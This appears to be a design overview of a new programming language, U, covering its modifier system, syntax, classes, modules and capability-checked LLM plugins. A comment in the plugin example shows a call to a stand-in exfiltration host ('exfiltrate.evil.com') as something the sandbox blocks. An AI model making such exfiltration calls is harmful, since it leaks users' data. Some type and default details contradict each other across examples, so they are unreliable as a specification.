Why U?

Most languages aim for one pit of success. U aims for two — one for developers, one for every tool that reasons about the code afterward. To our knowledge, U is the first language designed for two audiences at once: humans who write and review code, and LLMs that autonomously write, analyse, and reason about large codebases.

Pit 1 — For developers: the easy path is the safe path

A function written in U with no annotations is already correct by default. Parameters are local, immutable, and non-null. The compiled output uses no heap allocation, no ARC operations, no locks, no null checks. You get the safest and fastest possible program without writing a single modifier.

Every cost you might want to add — heap allocation, mutability, shared ownership, async suspension, nullable values — requires an explicit + annotation. You cannot accidentally pay for something you didn't ask for. You cannot accidentally make something unsafe without a visible opt-in. The pit of success means the path of least resistance is also the path of least risk.

// No annotations — you still get all of this for free:
f process(data: [N], label: S) -> Stats
    total = data.reduce((acc, val) => acc + val, 0.0)
    r => { total, mean: total / data.length, label }

// ✅ No heap allocation       (-R default)
// ✅ No null dereference       (-N default)
// ✅ No data race              (-R: nothing shared)
// ✅ No ARC cost               (-R: no refcount)
// ✅ Zero-copy return          (r.field = DPS)
// ✅ Bounds-safe iteration     (.on() / .reduce())
// ✅ 1-based indexing          (arr[1] = first, arr[arr.length] = last)

Pit 2 — For tooling: declared structure beats inferred structure

Today when a compiler, static analyser, or LLM inspects a codebase, it performs expensive reconstruction work: inferring ownership patterns, guessing threading assumptions, rebuilding the call graph, reconstructing what each binding is supposed to mean. That work is paid on every query, produces approximations, and is discarded at session end.

In a U codebase, every binding site is a machine-readable declaration of intent. +R+M(MVCC) says exactly how a shared object behaves under concurrent writes. +N marks every nullable boundary. ! NetworkError declares exactly what can fail. The entire semantic structure of the program is explicit in the syntax — not buried in conventions, comments, or commit history.

A property the compiler could infer is not the same thing as a property the author declares. Inference recovers what the code currently is; a declaration records what the author meant — and only the second survives change, crosses a library boundary, and outlives the moment it was written. A declared -E/-D turns a later edit that violates it into a compile error at the offending site, instead of a downstream assumption that silently goes wrong. A caller reads a declared contract off the signature without re-analysing source it may not even have. So a writer carries a real responsibility toward many readers downstream: the annotation is written once and read on every future query, dependency, and edit, and the small discipline of declaring intent compounds into coherence across a codebase and across everyone — human or model — who touches it later. This is sharpest when the author is an LLM, which has no memory of what it intended in a previous session: the declared annotation on the signature is that externalised memory, read by the next invocation as a fact rather than re-derived, possibly differently, from an intent that was never recorded. The cost is paid by inference-autofill and is near zero; the benefit — a persistent, contract-checked, O(1)-readable statement of intent — is exactly what an author without persistent memory needs most.

// Defined somewhere in the codebase:
function load_config() { ... }
// Tool must infer on every call:
// — is the return shared or local?
// — can it be null?
// — what write policy applies?
// — what errors can it throw?
// — does it escape its scope?
let config = load_config();
config.host = new_host;
// Expensive. Approximate. Repeated on every query.

// Declared ONCE on the function:
f load_config(): Config+R+M(MVCC) ! NetworkError ...
// Call site is clean — type inferred:
config = load_config()        // Config+R+M(MVCC) — inferred
config << { host: new_host }  // MVCC policy known from type
// O(1). Declared once, read everywhere.

This changes the economics of code analysis. An entire class of infrastructure bugs — data races, use-after-free, null dereference, async violations, injection attacks — is structurally impossible and doesn't need to be searched for at all. The bugs that remain are logic bugs, and they can be targeted precisely because the program's semantic structure is already declared.

On LLMs and the Need for New Languages

A reasonable objection: large language models trained across millions of codebases already know the right patterns. They'll suggest MVCC over a raw mutex, typed errors over untyped exceptions, non-null defaults. Why build a new language?

Knowing a pattern and structurally enforcing it are different. An LLM can recommend MVCC but cannot prevent the next developer — or the next LLM call — from omitting the write policy on the following binding. The pit of success requires the correct path to be the easy path for every developer on every call, not only those who consulted the model at the right moment.

The four layers — what catches what

JIT loading makes LLM-generated plugins safe

When an LLM generates a plugin at runtime — a capability, a template, a workflow — U's JIT compiler analyses it before it executes. The plugin's o declarations are extracted, checked against what the caller is willing to grant, and type-verified against the declared interface. An LLM hallucinating a Network.HTTP call inside a plugin that was only granted Templates access gets a CapabilityError before a single line of its code runs.

// LLM generates a plugin at runtime:
plugin: SummaryPlugin+A = a o(llm_generated_path, {
    Templates,                   // grant: can use template tags
    Network.LLM.Summariser       // grant: can call the summariser LLM
    // NOT granted: FileSystem, Network.HTTP, Network.SMTP
})
// If LLM plugin tries to fetch("https://exfiltrate.evil.com") → CapabilityError
// If LLM plugin tries to send email → CapabilityError
// If LLM plugin passes S where Templates.HTML expected → type error
// All caught before execution. Zero runtime damage.

Provenance means bad LLM content can't reach sinks

If an LLM generates email body content as raw S, it cannot be passed to SMTP.send() which requires Templates.HTML. The LLM must produce content through the template system, which validates structure, escapes injection, checks attribute types, and records provenance. The runtime then verifies provenance against org policy. An LLM cannot accidentally (or adversarially) inject malicious content into an email, SQL query, or HTML page — not because we filter output, but because the type system makes it structurally impossible.

Contents

Seven modifier dimensions replace escape analysis, alias analysis, null checks, ARC atomics, async coloring, injection vulnerabilities, and i18n errors. Each annotation is a proved safety invariant and a compiler oracle. The zero-annotation default is the safest path and the fastest path.

U — Where the Easy Path Is the Safe Path

U is a systems programming language built around one insight: type annotations serve two clients simultaneously. The programmer gets safety guarantees. The compiler gets optimization licenses. Same annotation. Both benefits.

Bugs the compiler catches — a sampler

Every row is a bug that cannot compile in U. No runtime check needed — the program won't build until it's fixed.

f greet(name: S +N) -> S
	r => "hi " + name  // ✗ might be null

cache: [Point] +R +M = []

f process(pt: Point) -> none
	cache.push(pt)  // ✗ pt is stack,
	// cache is heap — pt dies when
	// process() returns

total: I = 0
[1..1000].on(idx => (
	total += 1  // ✗ can't mutate
))

config = {host: "localhost"}
config << {port: "8080"}  // ✗ immutable

// parse() can fail with ParseError:
f parse(raw: S) -> I ! ParseError

result = parse("abc")
use(result)  // ✗ error not handled

// JS: catch(e) { } — catches everything
// Go: if err != nil — loses the type

// U: set up policies, then happy path
f load_user(id: I) -> User ! NetworkError ! ParseError
	e.on(network_policy, parse_policy)
	// happy path — no try/catch nesting
	raw = fetch("/users/" + id)
	r => parse(raw)

// Policies are reusable typed lists:
network_policy = [
	(err: Timeout) => retry(),
	(err: DnsError) => fallback()
]

// Shape gains a new variant Triangle:
d Triangle : Shape
	base: N = 0.0

// Every .on() with Shape handlers:
shapes.on(
	(sh: Circle) => ...,
	(sh: Rect) => ...
)  // ✗ error: Triangle not handled

table = user_input()
query = sql\`SELECT * FROM {table}\`
// ✗ can't interpolate a raw string

prices: [N] = load_prices()
totals = prices.map(calc)  // ⚠ warning

// JS: silently returns a Promise object
result = fetch("/api")  // oops, it's a Promise
log(result.name)  // undefined — no error!

// U: auto-materializes when assigned to non-+A
// Same principle as Q → N materialization
result = a fetch("/api")  // +A future
log(result.name)  // auto-awaits here ✓

// JS: 0.1 + 0.2 === 0.30000000000000004
// U: exact until you need a float
ratio = 1 / 3          // Q(1,3) — exact
total = ratio * 3       // Q(1,1) = 1 — exact
price: N = 1 / 3        // 0.333... — only now
cents: I = 499 / 100    // 4 — truncates here

// C: for(i=0; i<=n; i++) a[i]=... // 💥
// JS: arr[arr.length]  // undefined
// JS: arr[arr.length-1] // last — why -1?

// U: 1-indexed, no manual loops
items[1]              // first ✓
items[items.length]   // last ✓
items[0]              // ✗ compile error
[1..n].on(idx => ...) // bounds managed

account: Account +M(MVCC) = ...
account.balance = 500  // ✗ error

tensor: [N+V] +R(GPU) = compute()
// function ends without releasing
// ✗ error: GPU memory not freed

f greet()
    r => 42  // ✗ spaces detected

// No annotations — local, immutable, non-null, zero cost
f main()
    greeting = "Hello, world!"    // S -R -M -N — inferred
    console.log(greeting)

// greeting is:  local (no heap),  immutable (no lock),  non-null (no check)
// The compiler emits zero allocation, zero null check, zero ARC operation.

Comments — like C, but /* */ supports nesting

Single-line // and block /* */, identical to C. The one difference: block comments nest. This means you can wrap any section of code in /* ... */ without first checking whether it already contains block comments.

// Single-line — to end of line

/* Block — spans lines */

/* Nesting works — unlike C
   /* inner comment */
   still commented out here
*/

/* Comment out any block safely, even if it has block comments inside:
    f old_version(data: [I])  /* deprecated */
        process(data)
*/

f add(a: I, b: I) -> I  // inline is fine too
    r => a + b

Primitives & Literals

All primitive types are single uppercase letters. Width specifiers suffix the letter. No verbosity — I not int32_t.

count  = 42          // I  inferred
small: I32 = -7     // I32 explicit width
ratio  = 3.14        // N  float64
price  = Q(1,3)       // D  exact decimal, no float rounding
msg    = "Hello!"    // S  UTF-8 string
alive  = true        // L  logical
nothing: I+N = none // nullable integer — requires +N annotation

// Ranges — produce iterable values
exclusive = 0..10     // [0,10) — 0,1,2,...,9
inclusive = 1..=5    // [1,5]  — 1,2,3,4,5

regex`...` — compile-time validated pattern literal

Regex patterns use the regex`...` template literal, not a string constructor. The compiler validates the pattern at build time, pre-compiles it, and types it as Regex. Flags appear as a suffix after the closing backtick. Interpolation accepts only Regex sub-patterns — raw S values are a compile error (a string injected into a pattern could contain unescaped special characters).

// Compile-time validated and pre-compiled:
email = regex`[a-z]+@[a-z]+\.[a-z]+`i    // Regex — flag i after backtick
digits = regex`\d+`
spaces = regex`\s+`g

match = email.match(input)                // returns [S]+N
clean = spaces.replace(text, " ")

// Compose Regex sub-patterns via interpolation:
prefix: Regex = regex`[A-Z]{2,4}`
code:   Regex = regex`\d{3}`
full:   Regex = regex`{prefix}-{code}`  // ✓ Regex in regex`` = safe composition

// Compile error — S not allowed in regex context:
// pat: S = "\d+"
// broken = regex`{pat}`   ✗ S cannot be interpolated into regex``

// Invalid pattern = compile error:
// bad = regex`[unclosed`  ✗ syntax error at compile time, not runtime

Q — Rational Pair Arithmetic

Q stores (numerator, denominator) as N64 floats used purely as integers. IEEE 754 doubles represent all integers below 2⁵³ exactly — so Q arithmetic on practical denominators is exact with standard hardware. Q replaces D entirely.

Symbolic by default — the pit of success

= keeps Q expressions symbolic (nested, deferred). =! materialises NOW — forces one IEEE division. Assignment to non-Q context also auto-materialises.

// = is symbolic by default — no IEEE arithmetic yet:
result = Q(1,3) * Q(3,5)   // Q(Q(1,3), Q(3,5)) — symbolic
chain  = result / Q(2,7)    // still symbolic — one more level

// =! materialises NOW:
flat  =! chain              // ONE IEEE division — maximally stable
num: N  = chain             // auto-materialises to float
chain.__string__()            // auto-materialises for display

// Exact comparisons — always correct:
Q(1,10) + Q(2,10) == Q(3,10)   // TRUE — 0.1+0.2==0.3
Q(1,3) * 3 == Q(1,1)         // TRUE — 1/3 * 3 == 1

// I / I returns Q — no silent truncation:
third  = 1 / 3              // Q(1,3) — not 0
1 // 3                      // floor division → I(0)

// Special values:
Q(1, 0)   // w (positive infinity)
Q(-1, 0)  // -w (negative infinity)
Q(0, 0)   // none (undefined)
Q(1, w)   // 0 in the limit (infinitesimal)

Comprehensions & Spread

Shorthand literal syntax for constructing objects and maps from existing values. Works for class instantiation and map literals.

// Shorthand: variable name used as key
host = "localhost"
port = 8080
config = Config( host, port )        // Config({ host: host, port: port })

// Spread + override: ... spreads all fields, then overrides
new_config = Config( ...config, host: "newhost" )
new_map    = { ...meta, "version": 4 }                // map spread

// Works in any expression context
servers = configs.map((cfg) => Server( ...cfg, active: true ))

Variables & Type Inference

U infers types from the right-hand side. Annotations are optional — add them only when you want to change the defaults. Default modifiers depend on what is being declared:

• Scalars (I N S L Q B): -R -M -N — local, immutable, non-null. Safest and fastest.
• Collections (lists [] and maps {K:V}): -R +M -N — mutable by default. You almost always push and insert.
• Object properties: +M by default. Mark -M explicitly only for fields frozen after construction (e.g. id: I-M).

Objects have a fixed set of properties — they are not maps or bags. +M on an object means existing properties can be mutated, not that new ones can be added.

Assignability: a +M ref can always be assigned to a -M ref; a +R ref to a -R ref. Never the reverse.

-M collections and objects must be initialized with already-constructed values — no +N placeholder slots needed. The compiler constructs values in-place, eliminating copies.

// Inferred — all default to -R -M -N
count    = 0              // I  -R +M -N  (local mutable, class default)
ratio    = 3.14           // N  -R -M -N
greeting = "hello"       // S  -R -M -N
point    = { x: 1.0, y: 2.0 }  // {x:N,y:N} -R +M -N
items    = [1, 2, 3]      // [I] -R +M -N  — indexed 1..3

// Explicit — override inferred type or modifiers
shared: I+R+M   = 0     // shared mutable integer on heap
config: Config+R-M = load() // shared immutable Config
maybe:  User+N    = none // nullable User
width:  I32        = 640  // explicit 32-bit width

Parentheses — Grouping and Block Scope

U has no {} curly braces. () are the only grouping construct. Inside parentheses, newlines are free — the expression continues until the closing ). The last expression inside a block is its value. This applies everywhere: argument lists, conditions, chained operations, multi-statement blocks.

Commas and newlines are interchangeable inside (). A comma means "next statement" exactly as a newline does, enabling compact inline blocks: (a = f(), b = g(a), a + b) is identical to the three-line form.

// Grouping across newlines — continues until )
total = (
    subtotal
    + tax
    + shipping
)

// Block expression — multiple statements, last is value
result = (
    step1 = do_first_thing()
    step2 = do_second_thing(step1)
    step1 + step2       // ← value of the block
)

// Complex condition spread across lines
valid = (
    user.age >= 18 &
    user.verified &
    !user.banned
)

// Argument list — newlines freely between args
response = submit_order(
    order_id,
    items.on((i) => c+R i),
    shipping.address,
    payment.token
)

// Pipeline of operations that would be awkward inline
processed = (
    raw  = a fetch(url)
    clean = sanitize(raw)
    valid = validate(clean)
    valid               // ← returned value
)

// Chained method calls broken across lines
summary = (
    orders
        .on((order) => order.paid)
        .on((order) => order.amount)
        .reduce((acc, amt) => acc + amt, 0.0)
)

// Ternary branches using () for multi-line without indentation rules
label = count > 0
? (
    plural = count > 1
    plural ? "{count} items" ! "1 item"
)
! "empty"

Functions & Lambdas

Named functions use f. Lambdas use => alone. Two distinct return models:

• Lambdas — (params) => expr — expression semantics. The => means "this is the value." The last expression is always returned, exactly like a ( ) block. val => val.name returns S; () => (w num, num = num + 1) returns the result of the assignment.
• Named functions (f) — statement semantics. The body executes statements. Return requires explicit r => expr. Falling off the end returns none implicitly. If the return type is non-null (T without +N), any branch that lacks r => or returns the wrong type is a compile error — every non-null path must be accounted for.

Handler lambdas in .on(), .filter(), and .find() exploit this — returning none, false, or true as the three-signal directly. r.field = ... writes into the caller's pre-allocated stack slot — no copy on return.

// Named function
f add(left: I, right: I) -> I
    r => left + right

// Short form — expression body
f square(val: N) = val * val

// Lambda — => implies anonymous, no f needed
double    = val => val * 2
increment = val => val + 1

// Multi-expression lambda — last expression is the return value
clean = item => (
    trimmed = item.strip()
    trimmed.lowercase()   // returned
)

// Return-by-construction — r.field writes into caller's pre-allocated slot
// No copy on return. Destination-passing style, guaranteed by the type system.
f build_user(name: S, age: I) -> User
    r.name = name    // writes directly to caller's frame
    r.age  = age     // no copy occurs at return

// Default parameters
f connect(host: S, port: I = 8080) -> Connection+R+M+N
    r => tcp.dial(host, port)

// Higher-order — F(I)->S means "function taking I, returning S"
f apply_twice(fn: F(I)->I, val: I) -> I
    r => fn(fn(val))

result = apply_twice(double, 3)  // 12

Optional named parameters — {} at end

The last parameter may be an anonymous typed map, destructured by the compiler. Named params are optional, have declared types and defaults, and never break existing callers when extended. Constructors follow the same rule: class fields without defaults become positional parameters; fields with defaults go in the trailing { } bag. Constructors are just __setup__ functions — no special case.

// {} at end — optional named params with defaults
f fetch(url: S, count: I, { timeout: I = 30, verbose: L = false })

fetch("api.com", 5)                           // all defaults
fetch("api.com", 5, { verbose: true })         // one named
fetch("api.com", 5, { timeout: 60, verbose: true }) // two named

// Adding new optional never breaks callers:
// f fetch(url: S, count: I, { timeout: I = 30, verbose: L = false, retries: I = 3 })
// All existing call sites still work unchanged

// {} in middle? Use a named class instead:
d FetchOpts { timeout: I = 30 }
f weird_func(x: I, opts: FetchOpts, y: S)     // explicit, named
weird_func(5, FetchOpts( timeout: 60 ), "hi")

// ❌ No defaults on positional params — compile error:
// f bad(x: I, y: I = 5)  ← banned

Instantiation — ClassName({ field: value })

No new keyword. Constructors are just __setup__ functions — no special case. The compiler auto-generates one from the class fields following the universal function rule: fields without a default are positional; fields with a default go in the trailing { } options bag. You can also pass a variable as the options bag.

This makes every constructor consistent with every other function in the language.

// Fields without default → positional. Fields with default → { } bag.
d User
    id:    I             // required — positional in __setup__
    name:  S             // required — positional
    email: S = ""        // optional — goes in { } bag
    admin: L = false     // optional — goes in { } bag

// Auto-generated __setup__ (what the compiler produces):
// f __setup__(id: I, name: S, { email: S = "", admin: L = false })

// Call sites:
alice = User(1, "Alice")                              // required only
bob   = User(2, "Bob", { email: "[email protected]" })          // one optional
admin = User(3, "Admin", { email: "[email protected]", admin: true }) // two optional
guest = User(opts_bag)                                  // variable works too — destructured

// Custom __setup__ — same rule, just written explicitly:
d Config
    host:  S = "localhost"
    port:  I = 8080
    debug: L = false

    f __setup__({ host: S = "localhost", port: I = 8080, debug: L = false })
        validate(t.port > 0)                            // custom logic before init

cfg  = Config({})                                       // all defaults
prod = Config({ host: "prod.api.com", port: 443 })

Fields are initialized before __setup__ runs, always

U is opinionated here rather than leaving it ambiguous: whether or not a class defines a custom __setup__, every field whose name matches a key in the passed map — or has its own declared default when the caller omits it — is set before __setup__'s body executes. This avoids surprises on both sides: the caller never has to wonder whether a field they set will silently be ignored by a custom initializer, and the initializer's author never has to manually re-list every field just to avoid leaving one uninitialized. This is why the Config example above can read t.port inside __setup__ without ever assigning it first — it's already there.

Keys in the passed map that don't match any field name are not auto-assigned anywhere — they're simply made available to __setup__ as ordinary local variables, exactly like any other named parameter, if and only if __setup__ itself declares them. A key matching neither a field nor a declared __setup__ parameter is silently dropped — the same "surplus argument dropping" rule described below, applied to named map keys instead of positional arguments.

d Point
    x: N +M
    y: N +M

    // radius/angle match no field — they're plain locals here,
    // used to COMPUTE x and y rather than being assigned directly
    f __setup__({ radius: N = 1.0, angle: N = 0.0 })
        t.x = radius * cos(angle)   // x/y start at their OWN declared
        t.y = radius * sin(angle)   // defaults (0.0) since neither is in the map

// A caller CAN still set x/y directly — auto-assigned before __setup__ runs,
// then __setup__ recomputes and overwrites them from radius/angle anyway:
p = Point({ x: 99.0, radius: 2.0, angle: 1.57 })  // x=99.0 briefly, then overwritten

Surplus-argument dropping

A handler may declare fewer parameters than it will receive. Surplus arguments are silently dropped from the right. This is not the same as default values — the caller supplies all arguments; the callee simply ignores the extras.

// Array iteration: (value, index) passed, handler takes only value
nums = [10, 20, 30]
nums.on((n: I) => print(n.__string__()))     // index silently dropped
nums.on((n: I, i: I) => print(i.__string__() + ": " + n.__string__()))  // both

// Map iteration: (value, key) passed
scores: {S: N} = { "alice": 9.8, "bob": 7.4 }
scores.on((score: N) => process(score))         // key silently dropped
scores.on((score: N, name: S) => print(name))  // both — note value comes first

// Named functions also obey the rule when used as handlers:
f process(item: S) -> L   r => item.length > 0
items.filter(process)   // (S, I) passed, process takes (S) — I dropped

// Compile error — declared param type must match what's supplied:
// scores.on((score: I) => ...)  ← ✗ N supplied, I declared

Closures & Arrow Functions

U has two function forms. They differ on naming, hoisting, and t capture.

// Named f — hoisted, t is explicit, not captured
f greet(name: S) -> S
    r => "Hello, " + name

greet("Alice")   // fine even before the f declaration above (hoisted)

// Arrow function — anonymous, captures t, is a value
greet: (S)->S = (name) => "Hello, " + name

// Multi-line arrow uses () block — last expr is the value
process: (I)->S = (num) => (
    doubled = num * 2
    "result: {doubled}"
)

// Closure — captures outer variable, subject to modifier rules
f make_multiplier(factor: I): (I)->I
    r => (num: I) => num * factor    // captures factor (I is -R, value-copied in)

double = make_multiplier(2)    // double: (I)->I
double(5)                     // 10

// Capture rules — same modifier rules as any variable
f setup()
    local: S = "hello"                // -R stack
    msg: S+R = c+R local          // heap copy

    ok: (()->())+F-R = () => log(local)    // ✅ non-escaping, in-scope only
    bad: (()->())+F+R = () => log(local)   // ❌ ERROR: +F +R captures -R local
    fine: (()->())+F+R = () => log(msg)    // ✅ +R captured into +F +R

// In a class: arrow captures t, f() does not
d Button
    clicks: I+M = 0

    f on_click()                    // t is explicit — this is a method call
        t.clicks = t.clicks + 1

    handler: (ClickEvent)->() = (e) =>  // arrow captures t from Button instance
        t.clicks = t.clicks + 1        // ✅ t is the Button

// Function values carry all modifiers like any other value
policy: (NetworkError)->()+R = (err) => retry(err)   // heap, shareable
policies: [(NetworkError)->()] = [log_to_sentry, retry_on_recoverable]  // array

// Passed to e.on() as a policy array — order defined, preserved
e.on(policies)

Keywords — 10 + 3

Thirteen keywords total: ten single-letter (a c d e f o r t w z) and three multi-letter literals (none, true, false). You can memorize the entire language vocabulary in five minutes.

// f — named function          d — class definition
d Stack[T]
    items: [T]+R+M
    f push(stack: Stack+R+M, item: T)
        t.items.append(item)      // t — self/this
    f pop(stack: Stack+R+M) -> T
        t.items.is_empty() & e StackUnderflow()  // e — throw error
        r => t.items.remove_last()  // r — return

// w — infinity literal (∞)
f evens() -> I+W
    num = 2
    [1..w].on(() => (
        e num              // e value — emit to caller
        num = num + 2
        none               // continue
    ))

// o — import / capability
o Math.Linear                        // import module
o { Network.HTTP }                   // with capability
o => { evens, Stack }               // export

// c — compile-time function
fetch_cached = c memoize(fetch_data, 60)  // z f HOF, zero overhead

// none — the null value (multi-letter literal)
maybe_user: User+N = none

The Modifier System — ±R ±M ±N ±V ±A ±E ±D

Modifiers are single letters prefixed with + or -, placed after the type. Three binary axes plus three hardware domain modifiers. All default to the - (cheapest, safest) option.

// -R -M -N default: stack, immutable, non-null — zero cost
f process(user: User, count: I) -> S   // all -R -M -N
    r => "done"

// +N nullable — result may be none
f find_user(id: I) -> User+N   // +N: may return none
    r => db.find(id)

// +R -M shared immutable — safe to broadcast, no lock needed
config: Config+R-M = load_config()
workers.on(worker => worker.configure(config))  // zero-copy broadcast

// +R +M shared mutable — proxy-mediated writes
cache: Cache+R+M = Cache() +M(MVCC)
cache.set(key, val)   // routed through MVCC proxy

// +V: vectorized execution (SIMD on CPU, warps on GPU)
simd_vec: [N32]+V = load_data()                  // CPU SIMD — data stays on CPU
gpu_vec:  [N32]+R(GPU) = c+R(GPU) simd_vec   // copy to GPU device memory
run_kernel(gpu_vec)                                 // dispatches as GPU warps

// same matrix type, different location — same API
weights: [[N32]]               = load_model()   // CPU scalar
weights: [[N32]]+V            = load_model()   // CPU SIMD
weights: [[N32]]+R(GPU)       = load_model()   // GPU device memory
weights: [[N32]]+R(Network)   = load_model()   // remote cluster

// +A survives suspension (captured in the continuation)
a handle() -> Response
    buf: [L]           = alloc(4096)  // -A: stack-local, NOT saved at suspension
    state: Req+R+A   = build_req()   // +A: captured into the continuation
    result = a net.get(state)          // suspend — only state saved, not buf
    r => parse(result, state)

The 8-Combination Matrix

Effects and Determinism — ±E and ±D

Two axes describe what a function does beyond returning a value. They are independent, and together they give four honest categories. Both default to the restricted (safe, capable) pole, like the others.

• -E (effect-free): writes nothing observable — no I/O, no mutation of state it doesn't own, no suspension. +E may have side effects.
• -D (deterministic): output is a function of its inputs only. +D may depend on ambient mutable state.

The licenses split by axis, and this is the whole point of keeping them separate. Memoization, common-subexpression elimination, and compile-time evaluation need determinism (-D): you can only cache or fold a value keyed on its inputs. Reordering, dead-code elimination, parallelization, and retry-after-failure need effect-freedom (-E): you can delete, move, or re-run something that writes nothing. Math.random() is the case that forces the split — it is -E (harmless to reorder or delete) but +D (impossible to memoize, since there is no input to key on). A single axis would wrongly license memoizing it.

Namespaces & Modules — o

The o keyword ("outside") handles both import and export. Dots in class and function names are free namespacing — d Foo.Bar is simply a class named Foo.Bar, no special mechanism needed. o declares which namespace a file contributes to, and how to bring namespaces into scope.

Importing — four forms

o Math.Linear              // qualified: Linear.matmul, Linear.Foo available
o Math.Linear.*            // glob: matmul, Foo available as bare names
o Math.Linear (            // scoped qualified: only inside this block
    result = Linear.matmul(a, b)
)                          // Linear no longer in scope here
o Math.Linear.* (          // scoped glob: only inside this block
    result = matmul(a, b)  // bare name works here
)                          // matmul no longer in scope here

Exporting — o Name => (...)

The => direction makes intent unambiguous: this block produces into the namespace. Multiple files can contribute to the same namespace — open extension, like traits. This is not prototype pollution: adding methods to a class you don't own requires the o declaration to explicitly claim that capability. The compile-time capability system enforces that a module can only extend classes whose namespaces it has declared access to — an undeclared extension is a compile error, not a silent mutation of someone else's type.

// file: math/linear.u

f _helper(a: [N32+V], b: [N32+V]) -> N  // _ prefix → private, never exported
    a.reduce((acc, i, v) => acc + v * b[i], 0.0)

o Math.Linear => (

    d Result              // becomes Math.Linear.Result
        value: [[N32+V]]
        error: N

    f matmul(a: [[N32+V]], b: [[N32+V]]): [[N32+V]]  // t absent → +G inferred
        r => a.on((i, row) => row.on((j, _) => _helper(row, b.col(j))))

    f scale(factor: N): [[N32+V]]              // t used below → instance method
        r => t.on((i, row) => row.on((j, v) => v * factor))

)

Static vs instance — inferred from t

The compiler scans the function body for the keyword t (self). Present anywhere → instance method. Absent → +G (static) inferred. No annotation needed. A function with no t has no business being an instance method — the rule is correct by definition, not just convenient.

o Geometry => (
    d Circle
        radius: N

    f unit_circle() -> Circle         // no t → +G, called as Geometry.unit_circle()
        r => Circle( radius: 1.0 )

    f area() -> N                     // t used → instance method
        r => Math.PI * t.radius ^ 2

    f scale(factor: N) -> Circle     // t used → instance method
        r => Circle( radius: t.radius * factor )
)

// static callable on instance as sugar:
c = Geometry.unit_circle()         // direct
c = some_circle.unit_circle()       // also valid — desugars to above

Multi-file namespaces — open extension

// math/linear_basic.u
o Math.Linear => ( f matmul(...) )

// math/linear_advanced.u — extends same namespace
o Math.Linear => ( f svd(...)  f lu(...) )

// conflict (same function name in two files) = compile error

External packages

o "github.com/u-lang/math"   // external — resolved by package manager
o "./utils"                  // relative — exposes utils/*.u namespaces

+F — The Function Domain Modifier

The modifier set gains a seventh dimension: +F, the function domain. All modifiers are commutative — the set is unordered. Three forms: bare, nullary, and typed.

Modifier Commutativity — The Fundamental Rule

The Complete Seven-Dimension Modifier Set

Three Forms of +F

+F in Practice

// ── Bare +F: heterogeneous callables, homogeneous output ──────
hooks: [Config+F] = []        // any callable producing Config
hooks.append(load_from_file)       // Config +F(path: S)
hooks.append(load_from_env)        // Config +F()
hooks.append(load_with_default(b)) // Config +F() +R (closure)
// compiler: every result is Config — enforces modifiers on output
configs: [Config] = hooks.on(hook => hook(...))

// ── +F(): explicit nullary ────────────────────────────────────
thunk: Config+F() = () => Config.default()
cfg = thunk()                    // called with zero args

// ── +F(S): fully typed ───────────────────────────────────────
parser: Config+F(S) = parse_config  // takes S, returns Config
cfg = parser(raw_json)

// ── Composing with other modifiers (commutative) ─────────────
handler: Config+F(S)+R          // escaping closure
fetcher: Config+F(S)+A          // async function
maybe:   Config+F(S)+N          // nullable reference
esc_async: Config+F(S)+R+A     // escaping async closure

// Order is irrelevant — all identical:
Config+F+R+A == Config+A+R+F == Config+R+A+F  // same type

+F Compiler Oracle

+F +A — Async Function Type

+F +R — The Bound Closure Type

A method closure capturing t (self) needs heap allocation to outlive its call frame — that's exactly +F +R. No separate bound-method concept needed.

d Server
    f get_handler(server: Server+R) -> Response+F(Request)+R
        r => req => t.handle_request(req)   // captures t — needs +R

handler: Response+F(Request)+R = server.get_handler()
route.register(path, handler)       // stored in routing table, survives

Bare +F for Dependency Injection and Plugin Systems

// Plugin system: all plugins produce S, inputs vary
d PluginRegistry
    plugins: Map   // keyed by name

    f register(registry: PluginRegistry+R+M, name: S, plugin: S+F)
        t.plugins[name] = plugin   // S +F: any callable producing S

    f run(registry: PluginRegistry, name: S) -> S+N
        plugin: S+F+N = t.plugins[name]
        r => plugin & plugin(...)   // null-guard + call
// Compiler: result is S, handling enforced regardless of plugin internals

Classes, Inheritance & Policy — d, t, :

Classes use d. No separate struct keyword — a -R instance compiles identically to a C struct on the stack. t is self inside methods. : introduces a base class. No multiple inheritance.

Type aliases — d Foo : Bar with no body

The same : that introduces a base class also declares a type alias when the declaration has no body: d Meters : N makes Meters a transparent synonym for N, and d NodeId : Shape.Circle aliases a class. The discriminator is simply whether there's a body — d Foo : Bar with fields or methods is inheritance (Foo is a subclass adding to Bar); d Foo : Bar with nothing under it is an alias (a distinct-but-empty subclass would be pointless). This is deliberately a smooth path: a name starts as an alias, and the moment you add a field or method it becomes a real subclass — "extend it later" without changing the declaration's shape.

A union on the right is always an alias — you can't inherit from a union, and U has no multiple inheritance — so d Id : UserId | OrgId | S names the union type UserId | OrgId | S. An alias is transparent: Foo and its target are interchangeable everywhere, and x :: Foo tests against the resolved target (for a union alias, true if x is-a any member).

// Single-target alias — transparent synonym
d Meters : N
d NodeId : S

// Union alias — names a union type, always an alias (no body possible)
d Id : UserId | OrgId | S

// Same syntax WITH a body → inheritance, not an alias
d Shape.Circle : Shape
    radius: N +M = 0.0

The +M(policy) modifier declares how +R +M instances are mediated — either as a class-level default or overridden at the binding site.

// Basic class
d Point
    x: N
    y: N
    f distance(other: Point) -> N
        dx = t.x - other.x       // t = self
        dy = t.y - other.y
        r => (dx*dx + dy*dy).sqrt()

// Inheritance — : introduces base class, no multiple inheritance
d Animal
    name: S
    f speak() -> S
        r => "..."

d Dog : Animal           // Dog inherits from Animal
    breed: S
    f speak() -> S
        r => "Woof"          // override

// +P — policy modifier, class-level default
// all +R +M instances of Counter are Actor-mediated by default
d Counter+M(Actor)
    value: I
    f increment(t: Counter+R+M)
        t.value = t.value + 1

// Caller: no a needed — auto-await handles Actor dispatch transparently
counter: Counter+R+M = Counter()
counter.increment()    // enqueued and serialized by Actor policy

// Binding-site override — same class, different policy
c2: Counter+R+M(MVCC) = Counter()   // override to MVCC

// Policy + inheritance combined
d LiveCounter+M(Actor) : Counter
    last_updated: S

Copy semantics — c is a shallow-by-declaration prefix operator

When you apply c to a class instance:

• -R properties (inline) — copied by value. COW applies for mutable ones: the copy shares backing data until the first write forces a real copy.
• +R properties (heap reference) — the reference is copied, not the object. Both the original and the copy point to the same heap object.

The class definition itself declares copy semantics through property modifiers — no separate clone() protocol needed. This is exactly PHP's clone behavior: inline values copy, references share.

// Inline nested structs — -R means value-embedded, copies recursively
d Vec2                       // small value type, always -R by default
    x: N
    y: N

d Material+R(RAII)         // GPU resource — always lives on heap
    shader: S
    f __cleanup__(t: Material+R)    // called automatically when last ref drops
        gpu.release(t.shader)

d Mesh
